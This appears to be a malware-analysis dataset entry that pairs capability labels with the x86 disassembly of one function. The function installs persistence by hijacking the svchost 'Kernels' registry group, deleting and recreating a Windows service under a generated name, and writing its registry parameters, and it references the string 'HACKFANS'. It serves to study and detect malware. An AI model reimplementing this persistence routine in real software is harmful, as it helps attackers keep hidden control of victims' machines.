Function at 0x401960
Capabilities:
Create service
Delete service
Get common file path
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4041d0
push 0x403a70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x938
push ebx
push esi
push edi
mov dword [ebp - 0x20], 0
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebx, eax
mov ecx, 8
mov esi, 0x40518c
lea edi, [ebp - 0x420]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xf7
xor eax, eax
lea edi, [ebp - 0x3fd]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
nop
xor esi, esi
mov dword [ebp - 0x944], esi
mov dword [ebp - 0x934], esi
mov dword [ebp - 0x930], esi
mov dword [ebp - 0x1c], 0x400
mov ecx, 6
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.F_08dK
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x934], edi
cmp edi, esi
je 0x401cbc
lea eax, [ebp - 0x944]
push eax
push 0x2001f
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401cbc
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x824]
push edx
lea eax, [ebp - 0x828]
push eax
push esi
push str.Kernels
mov ecx, dword [ebp - 0x944]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401aa0
push 0xf01ff
lea edx, [ebp - 0x824]
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x930], esi
test esi, esi
je 0x401aa0
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x930], 0
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebx
push 7
push 0
push str.Kernels
mov eax, dword [ebp - 0x944]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401cbc
push eax
push eax
push eax
push eax
push eax
push str._SystemRoot_System32_svchost.exe__k_Kernels
push 1
push 4
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x930], eax
test eax, eax
je 0x401cbc
push ebx
lea edx, [ebp - 0x420]
push edx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
call esi
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x944]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x420]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401b45
mov eax, dword [ebp - 0x944]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x944]
push ecx
push 0x2001f
push 0
lea edx, [ebp - 0x420]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401cbc
mov edi, dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push 0
push str.Description
mov eax, dword [ebp - 0x944]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401cb6
mov ecx, dword [ebp - 0x944]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
push str.Parameters
lea edx, [ebp - 0x420]
push edx
call esi
push 0x104
lea eax, [ebp - 0x92c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x4050f8
lea ecx, [ebp - 0x92c]
push ecx
call esi
push ebx
lea edx, [ebp - 0x92c]
push edx
call esi
push str..cmd
lea eax, [ebp - 0x92c]
push eax
call esi
lea ecx, [ebp - 0x424]
push ecx
lea edx, [ebp - 0x944]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x420]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401c27
mov ecx, dword [ebp - 0x944]
push ecx
call edi
lea edx, [ebp - 0x92c]
push edx
push 0x4050e4
lea eax, [ebp - 0x420]
push eax
call fcn.00401d10
add esp, 0xc
test eax, eax
jne 0x401c99
lea ecx, [ebp - 0x944]
push ecx
push 0x2001f
push eax
lea edx, [ebp - 0x420]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401cb6
lea eax, [ebp - 0x92c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea ecx, [ebp - 0x92c]
push ecx
push 2
push 0
push 0x4050e4
mov edx, dword [ebp - 0x944]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401cb6
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x92c]
push ecx
push str.HACKFANS
push 0x69
call fcn.004018b0
add esp, 0x10
mov dword [ebp - 0x20], ebx
mov edi, dword [ebp - 0x934]
mov dword [ebp - 4], 0xffffffff
call fcn.00401ce2
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret